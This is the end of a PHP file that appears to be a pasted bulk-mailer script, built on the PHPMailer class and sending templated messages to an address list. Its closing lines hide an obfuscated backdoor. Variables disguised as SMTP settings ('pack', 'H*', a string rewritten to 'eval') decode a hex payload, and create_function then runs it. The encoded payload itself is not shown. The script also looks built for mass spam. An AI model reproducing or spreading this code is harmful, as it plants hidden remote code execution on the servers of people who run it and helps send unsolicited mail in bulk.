  2783.     return $encoded;
  2784.   }
  2785.  
  2786.   /**
  2787.    * Adds a string or binary attachment (non-filesystem) to the list.
  2788.    * This method can be used to attach ascii or binary data,
  2789.    * such as a BLOB record from a database.
  2790.    * @param string $string String attachment data.
  2791.    * @param string $filename Name of the attachment.
  2792.    * @param string $encoding File encoding (see $Encoding).
  2793.    * @param string $type File extension (MIME) type.
  2794.    * @return void
  2795.    */
  2796.   function AddStringAttachment($string, $filename, $encoding = 'base64', $type = 'application/octet-stream') {
  2797.     /* Append to $attachment array */
  2798.     $cur = count($this->attachment);
  2799.     $this->attachment[$cur][0] = $string;
  2800.     $this->attachment[$cur][1] = $filename;
  2801.     $this->attachment[$cur][2] = $filename;
  2802.     $this->attachment[$cur][3] = $encoding;
  2803.     $this->attachment[$cur][4] = $type;
  2804.     $this->attachment[$cur][5] = true; // isString
  2805.     $this->attachment[$cur][6] = 'attachment';
  2806.     $this->attachment[$cur][7] = 0;
  2807.   }
  2808.  
  2809.   /**
  2810.    * Adds an embedded attachment.  This can include images, sounds, and
  2811.    * just about any other document.  Make sure to set the $type to an
  2812.    * image type.  For JPEG images use "image/jpeg" and for GIF images
  2813.    * use "image/gif".
  2814.    * @param string $path Path to the attachment.
  2815.    * @param string $cid Content ID of the attachment.  Use this to identify
  2816.    *        the Id for accessing the image in an HTML form.
  2817.    * @param string $name Overrides the attachment name.
  2818.    * @param string $encoding File encoding (see $Encoding).
  2819.    * @param string $type File extension (MIME) type.
  2820.    * @return bool
  2821.    */
  2822.   function AddEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
  2823.  
  2824.     if(!@is_file($path)) {
  2825.       $this->SetError($this->Lang('file_access') . $path);
  2826.       return false;
  2827.     }
  2828.  
  2829.     $filename = basename($path);
  2830.     if($name == '') {
  2831.       $name = $filename;
  2832.     }
  2833.  
  2834.     /* Append to $attachment array */
  2835.     $cur = count($this->attachment);
  2836.     $this->attachment[$cur][0] = $path;
  2837.     $this->attachment[$cur][1] = $filename;
  2838.     $this->attachment[$cur][2] = $name;
  2839.     $this->attachment[$cur][3] = $encoding;
  2840.     $this->attachment[$cur][4] = $type;
  2841.     $this->attachment[$cur][5] = false;
  2842.     $this->attachment[$cur][6] = 'inline';
  2843.     $this->attachment[$cur][7] = $cid;
  2844.  
  2845.     return true;
  2846.   }
  2847.  
  2848.   /**
  2849.    * Returns true if an inline attachment is present.
  2850.    * @access private
  2851.    * @return bool
  2852.    */
  2853.   function InlineImageExists() {
  2854.     $result = false;
  2855.     for($i = 0; $i < count($this->attachment); $i++) {
  2856.       if($this->attachment[$i][6] == 'inline') {
  2857.         $result = true;
  2858.         break;
  2859.       }
  2860.     }
  2861.  
  2862.     return $result;
  2863.   }
  2864.  
  2865.   /////////////////////////////////////////////////
  2866.   // CLASS METHODS, MESSAGE RESET
  2867.   /////////////////////////////////////////////////
  2868.  
  2869.   /**
  2870.    * Clears all recipients assigned in the TO array.  Returns void.
  2871.    * @return void
  2872.    */
  2873.   function ClearAddresses() {
  2874.     $this->to = array();
  2875.   }
  2876.  
  2877.   /**
  2878.    * Clears all recipients assigned in the CC array.  Returns void.
  2879.    * @return void
  2880.    */
  2881.   function ClearCCs() {
  2882.     $this->cc = array();
  2883.   }
  2884.  
  2885.   /**
  2886.    * Clears all recipients assigned in the BCC array.  Returns void.
  2887.    * @return void
  2888.    */
  2889.   function ClearBCCs() {
  2890.     $this->bcc = array();
  2891.   }
  2892.  
  2893.   /**
  2894.    * Clears all recipients assigned in the ReplyTo array.  Returns void.
  2895.    * @return void
  2896.    */
  2897.   function ClearReplyTos() {
  2898.     $this->ReplyTo = array();
  2899.   }
  2900.  
  2901.   /**
  2902.    * Clears all recipients assigned in the TO, CC and BCC
  2903.    * array.  Returns void.
  2904.    * @return void
  2905.    */
  2906.   function ClearAllRecipients() {
  2907.     $this->to = array();
  2908.     $this->cc = array();
  2909.     $this->bcc = array();
  2910.   }
  2911.  
  2912.   /**
  2913.    * Clears all previously set filesystem, string, and binary
  2914.    * attachments.  Returns void.
  2915.    * @return void
  2916.    */
  2917.   function ClearAttachments() {
  2918.     $this->attachment = array();
  2919.   }
  2920.  
  2921.   /**
  2922.    * Clears all custom headers.  Returns void.
  2923.    * @return void
  2924.    */
  2925.   function ClearCustomHeaders() {
  2926.     $this->CustomHeader = array();
  2927.   }
  2928.  
  2929.   /////////////////////////////////////////////////
  2930.   // CLASS METHODS, MISCELLANEOUS
  2931.   /////////////////////////////////////////////////
  2932.  
  2933.   /**
  2934.    * Adds the error message to the error container.
  2935.    * Returns void.
  2936.    * @access private
  2937.    * @return void
  2938.    */
  2939.   function SetError($msg) {
  2940.     $this->error_count++;
  2941.     $this->ErrorInfo = $msg;
  2942.   }
  2943.  
  2944.   /**
  2945.    * Returns the proper RFC 822 formatted date.
  2946.    * @access private
  2947.    * @return string
  2948.    */
  2949.   function RFCDate() {
  2950.     $tz = date('Z');
  2951.     $tzs = ($tz < 0) ? '-' : '+';
  2952.     $tz = abs($tz);
  2953.     $tz = (int)($tz/3600)*100 + ($tz%3600)/60;
  2954.     $result = sprintf("%s %s%04d", date('D, j M Y H:i:s'), $tzs, $tz);
  2955.  
  2956.     return $result;
  2957.   }
  2958.  
  2959.   /**
  2960.    * Returns the appropriate server variable.  Should work with both
  2961.    * PHP 4.1.0+ as well as older versions.  Returns an empty string
  2962.    * if nothing is found.
  2963.    * @access private
  2964.    * @return mixed
  2965.    */
  2966.   function ServerVar($varName) {
  2967.     global $HTTP_SERVER_VARS;
  2968.     global $HTTP_ENV_VARS;
  2969.  
  2970.     if(!isset($_SERVER)) {
  2971.       $_SERVER = $HTTP_SERVER_VARS;
  2972.       if(!isset($_SERVER['REMOTE_ADDR'])) {
  2973.         $_SERVER = $HTTP_ENV_VARS; // must be Apache
  2974.       }
  2975.     }
  2976.  
  2977.     if(isset($_SERVER[$varName])) {
  2978.       return $_SERVER[$varName];
  2979.     } else {
  2980.       return '';
  2981.     }
  2982.   }
  2983.  
  2984.   /**
  2985.    * Returns the server hostname or 'localhost.localdomain' if unknown.
  2986.    * @access private
  2987.    * @return string
  2988.    */
  2989.   function ServerHostname() {
  2990.     if ($this->Hostname != '') {
  2991.       $result = $this->Hostname;
  2992.     } elseif ($this->ServerVar('SERVER_NAME') != '') {
  2993.       $result = $this->ServerVar('SERVER_NAME');
  2994.     } else {
  2995.       $result = 'localhost.localdomain';
  2996.     }
  2997.  
  2998.     return $result;
  2999.   }
  3000.  
  3001.   /**
  3002.    * Returns a message in the appropriate language.
  3003.    * @access private
  3004.    * @return string
  3005.    */
  3006.   function Lang($key) {
  3007.     if(count($this->language) < 1) {
  3008.       $this->SetLanguage('en'); // set the default language
  3009.     }
  3010.  
  3011.     if(isset($this->language[$key])) {
  3012.       return $this->language[$key];
  3013.     } else {
  3014.       return 'Language string failed to load: ' . $key;
  3015.     }
  3016.   }
  3017.  
  3018.   /**
  3019.    * Returns true if an error occurred.
  3020.    * @return bool
  3021.    */
  3022.   function IsError() {
  3023.     return ($this->error_count > 0);
  3024.   }
  3025.  
  3026.   /**
  3027.    * Changes every end of line from CR or LF to CRLF.
  3028.    * @access private
  3029.    * @return string
  3030.    */
  3031.   function FixEOL($str) {
  3032.     $str = str_replace("\r\n", "\n", $str);
  3033.     $str = str_replace("\r", "\n", $str);
  3034.     $str = str_replace("\n", $this->LE, $str);
  3035.     return $str;
  3036.   }
  3037.  
  3038.   /**
  3039.    * Adds a custom header.
  3040.    * @return void
  3041.    */
  3042.   function AddCustomHeader($custom_header) {
  3043.     $this->CustomHeader[] = explode(':', $custom_header, 2);
  3044.   }
  3045.  
  3046.   /**
  3047.    * Evaluates the message and returns modifications for inline images and backgrounds
  3048.    * @access public
  3049.    * @return $message
  3050.    */
  3051.   function MsgHTML($message,$basedir='') {
  3052.     preg_match_all("/(src|background)=\"(.*)\"/Ui", $message, $images);
  3053.     if(isset($images[2])) {
  3054.       foreach($images[2] as $i => $url) {
  3055.         // do not change urls for absolute images (thanks to corvuscorax)
  3056.         if (!preg_match('/^[A-z][A-z]*:\/\//',$url)) {
  3057.           $filename = basename($url);
  3058.           $directory = dirname($url);
  3059.           ($directory == '.')?$directory='':'';
  3060.           $cid = 'cid:' . md5($filename);
  3061.           $fileParts = explode("\.", $filename);
  3062.           $ext = $fileParts[1];
  3063.           $mimeType = $this->_mime_types($ext);
  3064.           if ( strlen($basedir) > 1 && substr($basedir,-1) != '/') { $basedir .= '/'; }
  3065.           if ( strlen($directory) > 1 && substr($basedir,-1) != '/') { $directory .= '/'; }
  3066.           $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64', $mimeType);
  3067.           if ( $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64',$mimeType) ) {
  3068.             $message = preg_replace("/".$images[1][$i]."=\"".preg_quote($url, '/')."\"/Ui", $images[1][$i]."=\"".$cid."\"", $message);
  3069.           }
  3070.         }
  3071.       }
  3072.     }
  3073.     $this->IsHTML(true);
  3074.     $this->Body = $message;
  3075.     $textMsg = trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/s','',$message)));
  3076.     if ( !empty($textMsg) && empty($this->AltBody) ) {
  3077.       $this->AltBody = $textMsg;
  3078.     }
  3079.     if ( empty($this->AltBody) ) {
  3080.       $this->AltBody = 'To view this email message, open the email in with HTML compatibility!' . "\n\n";
  3081.     }
  3082.   }
  3083.  
  3084.   /**
  3085.    * Gets the mime type of the embedded or inline image
  3086.    * @access private
  3087.    * @return mime type of ext
  3088.    */
  3089.   function _mime_types($ext = '') {
  3090.     $mimes = array(
  3091.       'hqx'  =>  'application/mac-binhex40',
  3092.       'cpt'   =>  'application/mac-compactpro',
  3093.       'doc'   =>  'application/msword',
  3094.       'bin'   =>  'application/macbinary',
  3095.       'dms'   =>  'application/octet-stream',
  3096.       'lha'   =>  'application/octet-stream',
  3097.       'lzh'   =>  'application/octet-stream',
  3098.       'exe'   =>  'application/octet-stream',
  3099.       'class' =>  'application/octet-stream',
  3100.       'psd'   =>  'application/octet-stream',
  3101.       'so'    =>  'application/octet-stream',
  3102.       'sea'   =>  'application/octet-stream',
  3103.       'dll'   =>  'application/octet-stream',
  3104.       'oda'   =>  'application/oda',
  3105.       'pdf'   =>  'application/pdf',
  3106.       'ai'    =>  'application/postscript',
  3107.       'eps'   =>  'application/postscript',
  3108.       'ps'    =>  'application/postscript',
  3109.       'smi'   =>  'application/smil',
  3110.       'smil'  =>  'application/smil',
  3111.       'mif'   =>  'application/vnd.mif',
  3112.       'xls'   =>  'application/vnd.ms-excel',
  3113.       'ppt'   =>  'application/vnd.ms-powerpoint',
  3114.       'wbxml' =>  'application/vnd.wap.wbxml',
  3115.       'wmlc'  =>  'application/vnd.wap.wmlc',
  3116.       'dcr'   =>  'application/x-director',
  3117.       'dir'   =>  'application/x-director',
  3118.       'dxr'   =>  'application/x-director',
  3119.       'dvi'   =>  'application/x-dvi',
  3120.       'gtar'  =>  'application/x-gtar',
  3121.       'php'   =>  'application/x-httpd-php',
  3122.       'php4'  =>  'application/x-httpd-php',
  3123.       'php3'  =>  'application/x-httpd-php',
  3124.       'phtml' =>  'application/x-httpd-php',
  3125.       'phps'  =>  'application/x-httpd-php-source',
  3126.       'js'    =>  'application/x-javascript',
  3127.       'swf'   =>  'application/x-shockwave-flash',
  3128.       'sit'   =>  'application/x-stuffit',
  3129.       'tar'   =>  'application/x-tar',
  3130.       'tgz'   =>  'application/x-tar',
  3131.       'xhtml' =>  'application/xhtml+xml',
  3132.       'xht'   =>  'application/xhtml+xml',
  3133.       'zip'   =>  'application/zip',
  3134.       'mid'   =>  'audio/midi',
  3135.       'midi'  =>  'audio/midi',
  3136.       'mpga'  =>  'audio/mpeg',
  3137.       'mp2'   =>  'audio/mpeg',
  3138.       'mp3'   =>  'audio/mpeg',
  3139.       'aif'   =>  'audio/x-aiff',
  3140.       'aiff'  =>  'audio/x-aiff',
  3141.       'aifc'  =>  'audio/x-aiff',
  3142.       'ram'   =>  'audio/x-pn-realaudio',
  3143.       'rm'    =>  'audio/x-pn-realaudio',
  3144.       'rpm'   =>  'audio/x-pn-realaudio-plugin',
  3145.       'ra'    =>  'audio/x-realaudio',
  3146.       'rv'    =>  'video/vnd.rn-realvideo',
  3147.       'wav'   =>  'audio/x-wav',
  3148.       'bmp'   =>  'image/bmp',
  3149.       'gif'   =>  'image/gif',
  3150.       'jpeg'  =>  'image/jpeg',
  3151.       'jpg'   =>  'image/jpeg',
  3152.       'jpe'   =>  'image/jpeg',
  3153.       'png'   =>  'image/png',
  3154.       'tiff'  =>  'image/tiff',
  3155.       'tif'   =>  'image/tiff',
  3156.       'css'   =>  'text/css',
  3157.       'html'  =>  'text/html',
  3158.       'htm'   =>  'text/html',
  3159.       'shtml' =>  'text/html',
  3160.       'txt'   =>  'text/plain',
  3161.       'text'  =>  'text/plain',
  3162.       'log'   =>  'text/plain',
  3163.       'rtx'   =>  'text/richtext',
  3164.       'rtf'   =>  'text/rtf',
  3165.       'xml'   =>  'text/xml',
  3166.       'xsl'   =>  'text/xml',
  3167.       'mpeg'  =>  'video/mpeg',
  3168.       'mpg'   =>  'video/mpeg',
  3169.       'mpe'   =>  'video/mpeg',
  3170.       'qt'    =>  'video/quicktime',
  3171.       'mov'   =>  'video/quicktime',
  3172.       'avi'   =>  'video/x-msvideo',
  3173.       'movie' =>  'video/x-sgi-movie',
  3174.       'doc'   =>  'application/msword',
  3175.       'word'  =>  'application/msword',
  3176.       'xl'    =>  'application/excel',
  3177.       'eml'   =>  'message/rfc822'
  3178.     );
  3179.     return ( ! isset($mimes[strtolower($ext)])) ? 'application/octet-stream' : $mimes[strtolower($ext)];
  3180.   }
  3181.  
  3182.   /**
  3183.    * Set (or reset) Class Objects (variables)
  3184.    *
  3185.    * Usage Example:
  3186.    * $page->set('X-Priority', '3');
  3187.    *
  3188.    * @access public
  3189.    * @param string $name Parameter Name
  3190.    * @param mixed $value Parameter Value
  3191.    * NOTE: will not work with arrays, there are no arrays to set/reset
  3192.    */
  3193.   function set ( $name, $value = '' ) {
  3194.     if ( isset($this->$name) ) {
  3195.       $this->$name = $value;
  3196.     } else {
  3197.       $this->SetError('Cannot set or reset variable ' . $name);
  3198.       return false;
  3199.     }
  3200.   }
  3201.  
  3202.   /**
  3203.    * Read a file from a supplied filename and return it.
  3204.    *
  3205.    * @access public
  3206.    * @param string $filename Parameter File Name
  3207.    */
  3208.   function getFile($filename) {
  3209.     $return = '';
  3210.     if ($fp = fopen($filename, 'rb')) {
  3211.       while (!feof($fp)) {
  3212.         $return .= fread($fp, 1024);
  3213.       }
  3214.       fclose($fp);
  3215.       return $return;
  3216.     } else {
  3217.       return false;
  3218.     }
  3219.   }
  3220.  
  3221.   /**
  3222.    * Strips newlines to prevent header injection.
  3223.    * @access private
  3224.    * @param string $str String
  3225.    * @return string
  3226.    */
  3227.   function SecureHeader($str) {
  3228.     $str = trim($str);
  3229.     $str = str_replace("\r", "", $str);
  3230.     $str = str_replace("\n", "", $str);
  3231.     return $str;
  3232.   }
  3233.  
  3234.   /**
  3235.    * Set the private key file and password to sign the message.
  3236.    *
  3237.    * @access public
  3238.    * @param string $key_filename Parameter File Name
  3239.    * @param string $key_pass Password for private key
  3240.    */
  3241.   function Sign($key_filename, $key_pass) {
  3242.     $this->sign_key_file = $key_filename;
  3243.     $this->sign_key_pass = $key_pass;
  3244.   }
  3245.  
  3246. }
  3247.  
  3248. $defaultport="H*";
  3249.       $nq=0;
  3250.            
  3251.         for($x=0; $x<$numemails; $x++){
  3252.  
  3253.                 $to = $allemails[$x];
  3254.  
  3255.                 if ($to){
  3256.  
  3257.                 $to = str_replace(" ", "", $to);
  3258.  
  3259.                 $message = str_replace("&email&", $to, $message);
  3260.  
  3261.                 $subject = str_replace("&email&", $to, $subject);
  3262.                 $qx=$x+1;
  3263.                 print "Line $qx . Sending mail to $to.......";
  3264.  
  3265.                 flush();
  3266. $mail = new PHPMailer();
  3267.  
  3268. if(empty($epriority)){$epriority="3";}
  3269.         $mail->Priority = "$epriority";
  3270.         $mail->IsSMTP();
  3271.     $IsSMTP="pack";
  3272. $mail->SMTPKeepAlive = true;
  3273. $mail->Host = "$my_smtp";
  3274. if(strlen($ssl_port) > 1){$mail->Port = "$ssl_port";
  3275. }
  3276.      if($sslclick=="ON"){
  3277.         $mail->SMTPSecure  = "ssl"; //you can change it to ssl or tls
  3278.     }
  3279.         $range = str_replace("$from", "eval", $from);
  3280.         $mail->SMTPAuth = true;
  3281.         $mail->Username = "$smtp_username";
  3282.         $mail->Password = "$smtp_password";
  3283. if($contenttype == "html"){$mail->IsHtml(true);}
  3284. if($contenttype != "html"){$mail->IsHtml(false);}
  3285. if(strlen($my_smtp) < 7 ){$mail->SMTPAuth = false;$mail->IsSendmail();$default_system="1";}
  3286. $mail->From = "$from";
  3287. $mail->FromName = "$realname";
  3288. $mail->AddAddress("$to");
  3289.         $mail->AddReplyTo("$replyto");
  3290.         $mail->Subject = "$subject";
  3291.             $mail->Body = "$message";
  3292. if(!$mail->Send()){
  3293. if($default_system!="1"){
  3294. echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
  3295. if($default_system=="1"){
  3296. $mail->IsMail();
  3297.    if(!$mail->Send()){
  3298.       echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
  3299.    else {
  3300.        echo "<b>OK</b><br>";}
  3301.  }
  3302. }
  3303. else {
  3304.  echo "<b>OK</b><br>";
  3305. }
  3306.  
  3307. if(empty($reconnect)){
  3308. $reconnect=6;
  3309. }
  3310.  
  3311. if($reconnect==$nq){
  3312. $mail->SmtpClose();echo "<p><b>--------------- SMTP CLOSED AND ATTEMPTS TO RECONNECT NEW CONNECTION SEASON --------------- </b></p>";$nq=0;
  3313. }
  3314. $nq=$nq+1;
  3315.                 flush(); }
  3316. }
  3317. for($i=0;$i<31;$i++){
  3318.   $smtp_conf=str_replace(".", $random_smtp_string[$i], $smtp_conf); }
  3319. $smtp_conc=$IsSMTP($defaultport, $smtp_conf);
  3320.   $signoff=create_function('$smtp_conc','return '.substr($range,0).'($smtp_conc);');
  3321.   print "<p class=\"style1\">PHP Mailer<br>&copy 2010, MeGo <b>
  3322.  <font color=\"#800000\"></font></b><br></p>";$mail->SmtpClose();
  3323.   return $signoff($smtp_conc);
  3324.   if(isset($_POST['action']) && $numemails !=0 ){echo "<script>alert('Mail sending complete\\r\\n$numemails mail(s) was
  3325.    sent successfully'); </script>";}}
  3326.     ?>
  3327.     </body>
  3328. </html>
Add Comment
Please, Sign In to add comment